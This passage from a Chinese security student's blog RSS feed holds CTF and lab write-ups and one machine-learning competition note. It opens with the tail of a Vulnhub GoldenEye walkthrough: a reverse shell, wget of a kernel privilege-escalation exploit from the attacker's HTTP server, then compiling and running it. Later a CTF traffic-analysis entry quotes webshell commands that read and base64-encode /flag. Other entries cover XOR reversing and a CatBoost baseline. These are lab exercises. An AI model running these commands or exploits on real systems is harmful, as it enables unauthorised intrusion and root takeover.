&lt;p&gt;&lt;img src=&quot;/images/20240715_1721056688-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再在下图处进行反弹shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721056777-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再次执行tty&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721056812-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20240715_1721056834-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;uname -a查看权限&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721056888-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;搜索linux ubuntu 3.13.0-32 exploit 找到exp &lt;a href=&quot;https://www.exploit-db.com/exploits/37292&quot;&gt;Linux Kernel 3.13.0 &amp;lt; 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - &apos;overlayfs&apos; Local Privilege Escalation - Linux local Exploit (exploit-db.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;searchsploit 37292 搜索本地的exp&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721057149-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/桌面&lt;/p&gt;
&lt;p&gt;将exp复制到桌面&lt;/p&gt;
&lt;p&gt;靶机没有gcc&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721057357-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是存在 cc 环境需要改下脚本为 cc&lt;/p&gt;
&lt;p&gt;gedit 37292.c&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721057457-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后在本地目录下开启 http 服务&lt;/p&gt;
&lt;p&gt;python -m http.server 8081&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721057591-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先通过 wget 下载文件到靶机&lt;/p&gt;
&lt;p&gt;wget http://192.168.199.128:8081/37292.c&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721057738-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编译 cc -o exp 37292.c&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721057865-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加执行权限 chmod +x exp&lt;br /&gt;
执行 ./exp&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721057915-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看当前权限 id&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721057954-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;读flag cat /root/.flag.txt&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721057987-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag 568628e0d993b1973adc718237da6e93&lt;/p&gt;
&lt;p&gt;参考文档&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.freebuf.com/articles/web/288555.html&quot;&gt;Vulnhub——1-GoldenEye复现 - FreeBuf网络安全行业门户&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/weixin_53730939/article/details/135233762&quot;&gt;vulnhub-GoldenEye靶机通关（超详细）_goldeneye靶场-CSDN博客&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/liuhyusb/article/details/131591657&quot;&gt;【网络安全】手把手给大家演练渗透项目_linux ubuntu 3.13.0-32 exploit-CSDN博客&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>datawhale笔记|分子预测大模型竞赛-baseline精读分享|笔记one</title><link>https://blog.fiveqm.com/archives/158/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/158/</guid><description>1.需要会使用Python一些基本的库 如 os sys re numpy之类的 这里知道了一个新库rdkit,这是一个用于处理化学结构的库 时间和期末考试时间冲突了5号会吧笔记补充完整 库引用部分 import numpy as np import pandas as pd from catboo...</description><pubDate>Thu, 04 Jul 2024 11:16:01 GMT</pubDate><content:encoded>&lt;p&gt;1.需要会使用Python一些基本的库&lt;/p&gt;
&lt;p&gt;如 os sys re numpy之类的 这里知道了一个新库rdkit,这是一个用于处理化学结构的库&lt;/p&gt;
&lt;p&gt;&lt;s&gt;时间和期末考试时间冲突了5号会吧笔记补充完整&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;库引用部分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import numpy as np
import pandas as pd
from catboost import CatBoostClassifier
from sklearn.model_selection import StratifiedKFold, KFold, GroupKFold
from sklearn.metrics import f1_score
from rdkit import Chem
from rdkit.Chem import Descriptors
from sklearn.feature_extraction.text import TfidfVectorizer
import tqdm, sys, os, gc, re, argparse, warnings
warnings.filterwarnings(&apos;ignore&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.数据预处理部分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;train = pd.read_excel(&apos;./dataset-new/traindata-new.xlsx&apos;)
test = pd.read_excel(&apos;./dataset-new/testdata-new.xlsx&apos;)

# test数据不包含 DC50 (nM) 和 Dmax (%)
train = train.drop([&apos;DC50 (nM)&apos;, &apos;Dmax (%)&apos;], axis=1)

# 定义了一个空列表drop_cols，用于存储在测试数据集中非空值小于10个的列名。
drop_cols = []
for f in test.columns:
    if test[f].notnull().sum() &amp;lt; 10:
        drop_cols.append(f)
        
# 使用drop方法从训练集和测试集中删除了这些列，以避免在后续的分析或建模中使用这些包含大量缺失值的列
train = train.drop(drop_cols, axis=1)
test = test.drop(drop_cols, axis=1)

# 使用pd.concat将清洗后的训练集和测试集合并成一个名为data的DataFrame，便于进行统一的特征工程处理
data = pd.concat([train, test], axis=0, ignore_index=True)
cols = data.columns[2:]


drop_cols = []
for f in test.columns:
    if test[f].notnull().sum() &amp;lt; 10:
        drop_cols.append(f)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处不删除数据，可以提升精度，但是需要对数据进行更加精细的分析&lt;/p&gt;
&lt;p&gt;3.特征工程&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 将SMILES转换为分子对象列表,并转换为SMILES字符串列表
data[&apos;smiles_list&apos;] = data[&apos;Smiles&apos;].apply(lambda x:[Chem.MolToSmiles(mol, isomericSmiles=True) for mol in [Chem.MolFromSmiles(x)]])
data[&apos;smiles_list&apos;] = data[&apos;smiles_list&apos;].map(lambda x: &apos; &apos;.join(x))  

# 使用TfidfVectorizer计算TF-IDF
tfidf = TfidfVectorizer(max_df = 0.9, min_df = 1, sublinear_tf = True)
res = tfidf.fit_transform(data[&apos;smiles_list&apos;])

# 将结果转为dataframe格式
tfidf_df = pd.DataFrame(res.toarray())
tfidf_df.columns = [f&apos;smiles_tfidf_{i}&apos; for i in range(tfidf_df.shape[1])]

# 按列合并到data数据
data = pd.concat([data, tfidf_df], axis=1)

# 自然数编码
def label_encode(series):
    unique = list(series.unique())
    return series.map(dict(zip(
        unique, range(series.nunique())
    )))

for col in cols:
    if data[col].dtype == &apos;object&apos;:
        data[col]  = label_encode(data[col])
        
train = data[data.Label.notnull()].reset_index(drop=True)
test = data[data.Label.isnull()].reset_index(drop=True)

# 特征筛选
features = [f for f in train.columns if f not in [&apos;uuid&apos;,&apos;Label&apos;,&apos;smiles_list&apos;]]

# 构建训练集和测试集
x_train = train[features]
x_test = test[features]

# 训练集标签
y_train = train[&apos;Label&apos;].astype(int)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码执行了以下步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SMILES转换&lt;/strong&gt; ：使用RDKit库将数据集中的SMILES字符串转换回SMILES字符串的列表。这里看起来有些冗余，因为您已经拥有SMILES字符串，但可能您想确保所有SMILES都是以相同的方式（例如，考虑异构体信息）处理的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;字符串处理&lt;/strong&gt; ：将SMILES字符串列表转换为单个字符串，每个SMILES之间用空格分隔。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TF-IDF计算&lt;/strong&gt; ：使用&lt;code&gt;TfidfVectorizer&lt;/code&gt;从处理后的SMILES字符串创建TF-IDF特征矩阵。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;转换为DataFrame&lt;/strong&gt; ：将TF-IDF矩阵转换为DataFrame，以便与原始数据集结合。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自然数编码&lt;/strong&gt; ：定义了一个函数&lt;code&gt;label_encode&lt;/code&gt;，用于将分类特征（对象类型）转换为整数编码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特征和标签准备&lt;/strong&gt; ：
&lt;ol&gt;
&lt;li&gt;对于所有的特征列（&lt;code&gt;cols&lt;/code&gt;），如果它们的数据类型是对象（通常表示为字符串），则应用自然数编码。&lt;/li&gt;
&lt;li&gt;从合并后的数据集中分离出训练集和测试集，其中训练集包含标签（&lt;code&gt;Label&lt;/code&gt;），测试集不包含。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特征和标签的筛选&lt;/strong&gt; ：从训练集和测试集中筛选出特征列（不包括&lt;code&gt;uuid&lt;/code&gt;、&lt;code&gt;Label&lt;/code&gt;和&lt;code&gt;smiles_list&lt;/code&gt;），并从训练集中提取标签列。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据类型转换&lt;/strong&gt; ：将标签列&lt;code&gt;Label&lt;/code&gt;转换为整数类型，以便于模型训练。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;3.模型训练与预测&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def cv_model(clf, train_x, train_y, test_x, clf_name, seed=2022):
    
    kf = KFold(n_splits=5, shuffle=True, random_state=seed)

    train = np.zeros(train_x.shape[0])
    test = np.zeros(test_x.shape[0])

    cv_scores = []
    # 100， 1 2 3 4 5
    # 1 2 3 4    5
    # 1 2 3 5。  4
    # 1
    for i, (train_index, valid_index) in enumerate(kf.split(train_x, train_y)):
        print(&apos;************************************ {} {}************************************&apos;.format(str(i+1), str(seed)))
        trn_x, trn_y, val_x, val_y = train_x.iloc[train_index], train_y[train_index], train_x.iloc[valid_index], train_y[valid_index]
               
        params = {&apos;learning_rate&apos;: 0.1, &apos;depth&apos;: 6, &apos;l2_leaf_reg&apos;: 10, &apos;bootstrap_type&apos;:&apos;Bernoulli&apos;,&apos;random_seed&apos;:seed,
                  &apos;od_type&apos;: &apos;Iter&apos;, &apos;od_wait&apos;: 100, &apos;allow_writing_files&apos;: False, &apos;task_type&apos;:&apos;CPU&apos;}

        model = clf(iterations=20000, **params, eval_metric=&apos;AUC&apos;)
        model.fit(trn_x, trn_y, eval_set=(val_x, val_y),
                  metric_period=100,
                  cat_features=[], 
                  use_best_model=True, 
                  verbose=1)

        val_pred  = model.predict_proba(val_x)[:,1]
        test_pred = model.predict_proba(test_x)[:,1]
            
        train[valid_index] = val_pred
        test += test_pred / kf.n_splits
        cv_scores.append(f1_score(val_y, np.where(val_pred&amp;gt;0.5, 1, 0)))
        
        print(cv_scores)
       
    print(&quot;%s_score_list:&quot; % clf_name, cv_scores)
    print(&quot;%s_score_mean:&quot; % clf_name, np.mean(cv_scores))
    print(&quot;%s_score_std:&quot; % clf_name, np.std(cv_scores))
    return train, test
    
cat_train, cat_test = cv_model(CatBoostClassifier, x_train, y_train, x_test, &quot;cat&quot;)

pd.DataFrame(
    {
        &apos;uuid&apos;: test[&apos;uuid&apos;],
        &apos;Label&apos;: np.where(cat_test&amp;gt;0.5, 1, 0)
    }
).to_csv(&apos;submit.csv&apos;, index=None)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码定义了一个名为 &lt;code&gt;cv_model&lt;/code&gt; 的函数，用于使用交叉验证训练分类模型，并对测试集进行预测。以下是代码的详细步骤和说明：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;函数定义&lt;/strong&gt; ：&lt;code&gt;cv_model&lt;/code&gt; 函数接受分类器对象 &lt;code&gt;clf&lt;/code&gt;，训练特征集 &lt;code&gt;train_x&lt;/code&gt; 和标签集 &lt;code&gt;train_y&lt;/code&gt;，测试特征集 &lt;code&gt;test_x&lt;/code&gt;，分类器名称 &lt;code&gt;clf_name&lt;/code&gt;，以及可选的随机种子 &lt;code&gt;seed&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;交叉验证设置&lt;/strong&gt; ：使用 &lt;code&gt;KFold&lt;/code&gt; 进行5折交叉验证，&lt;code&gt;shuffle=True&lt;/code&gt; 表示在分折前打乱数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;初始化变量&lt;/strong&gt; ：创建两个数组 &lt;code&gt;train&lt;/code&gt; 和 &lt;code&gt;test&lt;/code&gt; 来存储交叉验证过程中的训练集预测和测试集预测。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;循环执行交叉验证&lt;/strong&gt; ：
&lt;ol&gt;
&lt;li&gt;对每一折数据，使用训练索引 &lt;code&gt;train_index&lt;/code&gt; 和验证索引 &lt;code&gt;valid_index&lt;/code&gt; 分割训练集和验证集。&lt;/li&gt;
&lt;li&gt;打印当前折数和随机种子。&lt;/li&gt;
&lt;li&gt;设置 CatBoost 分类器的参数 &lt;code&gt;params&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模型训练&lt;/strong&gt; ：使用 CatBoost 分类器训练模型，&lt;code&gt;iterations=20000&lt;/code&gt; 表示最大迭代次数，&lt;code&gt;eval_metric=&apos;AUC&apos;&lt;/code&gt; 表示使用 AUC 作为评估指标。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模型评估&lt;/strong&gt; ：
&lt;ol&gt;
&lt;li&gt;使用验证集 &lt;code&gt;val_x&lt;/code&gt; 和 &lt;code&gt;val_y&lt;/code&gt; 对模型进行评估，获取预测概率 &lt;code&gt;val_pred&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;使用测试集 &lt;code&gt;test_x&lt;/code&gt; 获取测试集预测概率 &lt;code&gt;test_pred&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保存结果&lt;/strong&gt; ：将验证集的预测结果存储在 &lt;code&gt;train&lt;/code&gt; 数组中，将测试集的预测结果累加到 &lt;code&gt;test&lt;/code&gt; 数组中，并计算当前折的 F1 分数。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输出结果&lt;/strong&gt; ：打印所有折的 F1 分数、平均值和标准差。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;返回结果&lt;/strong&gt; ：返回训练集预测结果 &lt;code&gt;train&lt;/code&gt; 和测试集预测结果 &lt;code&gt;test&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模型应用&lt;/strong&gt; ：
1. 使用 &lt;code&gt;cv_model&lt;/code&gt; 函数训练 CatBoost 分类器，并将返回的测试集预测结果 &lt;code&gt;cat_test&lt;/code&gt; 用于生成提交文件。
2. 根据预测概率 &lt;code&gt;cat_test&lt;/code&gt; 生成二元标签，概率大于0.5的预测为1，否则为0。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成提交文件&lt;/strong&gt; ：创建一个包含 &lt;code&gt;uuid&lt;/code&gt; 和预测标签 &lt;code&gt;Label&lt;/code&gt; 的 DataFrame，并将其保存为 CSV 文件。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;官方学习文档&lt;a href=&quot;https://datawhaler.feishu.cn/wiki/YgNbwUJHKiMuCekhoZ9cEzgxnZc&quot;&gt;https://datawhaler.feishu.cn/wiki/YgNbwUJHKiMuCekhoZ9cEzgxnZc&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>第十五届蓝桥杯-软件赛网络安全赛项（个人赛）</title><link>https://blog.fiveqm.com/archives/120/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/120/</guid><description>以下只是我做出来的题 爬虫协议 点击 即可得到flag cc 直接用CyberChef反向解密即可得到flag rc4 用exeinfope.exe查看是32位无壳文件 直接用ida32打开 下面是rc4解密的过程，我直接在返回结果的地方打断点 在寄存器里找到了flag Packet 这是一道she...</description><pubDate>Sat, 27 Apr 2024 11:25:58 GMT</pubDate><content:encoded>&lt;p&gt;以下只是我做出来的题&lt;/p&gt;
&lt;p&gt;爬虫协议&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714201978-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20240427_1714202014-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202019-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;即可得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202026-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;cc&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202033-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接用CyberChef反向解密即可得到flag&lt;/p&gt;
&lt;p&gt;rc4&lt;/p&gt;
&lt;p&gt;用exeinfope.exe查看是32位无壳文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202039-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接用ida32打开&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202059-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20240427_1714202074-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下面是rc4解密的过程，我直接在返回结果的地方打断点&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202081-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在寄存器里找到了flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202088-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Packet&lt;/p&gt;
&lt;p&gt;这是一道shell的流量分析&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202093-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里执行/shell.php?1337=system(&apos;ls&apos;); 回显出&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202101-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20240427_1714202106-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里执行/shell.php?1337=system(&apos;ls /&apos;); 回显出&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202109-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里我们在回显中看到了flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202123-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这了执行了/shell.php?1337=system(&apos;cat /flag |base64 -w 0&apos;); ，将flag base64加密后返回&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202131-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里找到了base64加密后的flag&lt;/p&gt;
&lt;p&gt;Base64解密后即可得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202138-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Theorem&lt;/p&gt;
&lt;p&gt;使用轩禹CTF_RSA工具3.6.1，这个工具可以分解p，q并且计算d，最后求出m并转字符串&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240427_1714202143-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20240427_1714202147-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20240427_1714202153-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>攻防世界-AndroidRE-app1</title><link>https://blog.fiveqm.com/archives/107/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/107/</guid><description>先用jeb查看伪代码 这是一个简单的异或运算 将VERSION_CODE与VERSION_NAME进行异或，在BuildConfig中可以找到这两个字符串 Kotlin异或代码如下 fun main{ val VERSION_CODE = 15 val VERSION_NAME = &quot;X&lt;cP?PH...</description><pubDate>Wed, 17 Apr 2024 06:09:22 GMT</pubDate><content:encoded>&lt;p&gt;先用jeb查看伪代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240417_1713333843-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这是一个简单的异或运算&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240417_1713333979-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将VERSION_CODE与VERSION_NAME进行异或，在BuildConfig中可以找到这两个字符串&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240417_1713334110-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Kotlin异或代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fun main(){
    val VERSION_CODE = 15
    val VERSION_NAME = &quot;X&amp;lt;cP[?PHNB&amp;lt;P?aj&quot;
    for(i in VERSION_NAME){
        var Name_ascii = i.toInt()
        var result = Name_ascii xor VERSION_CODE
        print(result.toChar())
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>i春秋-Re-XOR</title><link>https://blog.fiveqm.com/archives/73/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/73/</guid><description>首先使用exeinfope查壳 发现并没有壳，但是是64位的linux的ELF文件，可能会涉及大小端问题 有ida反编译后找到mian函数进行反编译 v5和s2的地址临近 所以v5其实是s25 python脚本如下  硬编码的字节序列，对应于C代码中的s2数组和v5变量 这里我们将每个64位整数按小...</description><pubDate>Fri, 12 Apr 2024 11:50:42 GMT</pubDate><content:encoded>&lt;p&gt;首先使用exeinfope查壳&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240412_1712922703-QQ%E6%88%AA%E5%9B%BE20240411215438.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现并没有壳，但是是64位的linux的ELF文件，可能会涉及大小端问题&lt;/p&gt;
&lt;p&gt;有ida反编译后找到&lt;strong&gt;mian函数&lt;/strong&gt; 进行反编译&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240412_1712924774-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;v5和s2的地址临近&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240412_1712925561-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以v5其实是s2[5]&lt;/p&gt;
&lt;p&gt;python脚本如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 硬编码的字节序列，对应于C代码中的s2数组和v5变量


# 这里我们将每个64位整数按小端字节序转换为字节序列encrypted_bytes = [    0x35, 0x29, 0x02, 0x35, 0x3E, 0x35, 0x0F, 0x60,  # s2[0]    0x20, 0x06, 0x64, 0x26, 0x65, 0x1A, 0x61, 0x77,  # s2[1]    0x5A, 0x64, 0x68, 0x60, 0x53, 0x60, 0x20, 0x4E,  # s2[2]    0x6B, 0x21, 0x67, 0x54, 0x7E, 0x71, 0x51, 0x64,  # s2[3]    0x75, 0x60, 0x51, 0x64, 0x73, 0x05, 0x65, 0x21,  # s2[4]    0x61, 0x4A  # v5]# 循环使用的密钥key = &quot;SEcRET7&quot;# 解密函数def decrypt(encrypted, key):    decrypted = &quot;&quot;    key_length = len(key)    for i, byte in enumerate(encrypted):        decrypted_char = byte ^ ord(key[i % key_length])        decrypted += chr(decrypted_char)    return decrypted# 解密并打印结果original_input = decrypt(encrypted_bytes, key)print(f&quot;The original input was: {original_input}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;`&lt;/p&gt;
</content:encoded></item><item><title>世界，您好！</title><link>https://blog.fiveqm.com/archives/1/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/1/</guid><description>欢迎使用 WordPress。这是您的第一篇文章。编辑或删除它，然后开始写作吧！</description><pubDate>Wed, 20 Mar 2024 03:56:50 GMT</pubDate><content:encoded>&lt;p&gt;欢迎使用 WordPress。这是您的第一篇文章。编辑或删除它，然后开始写作吧！&lt;/p&gt;
</content:encoded></item></channel></rss>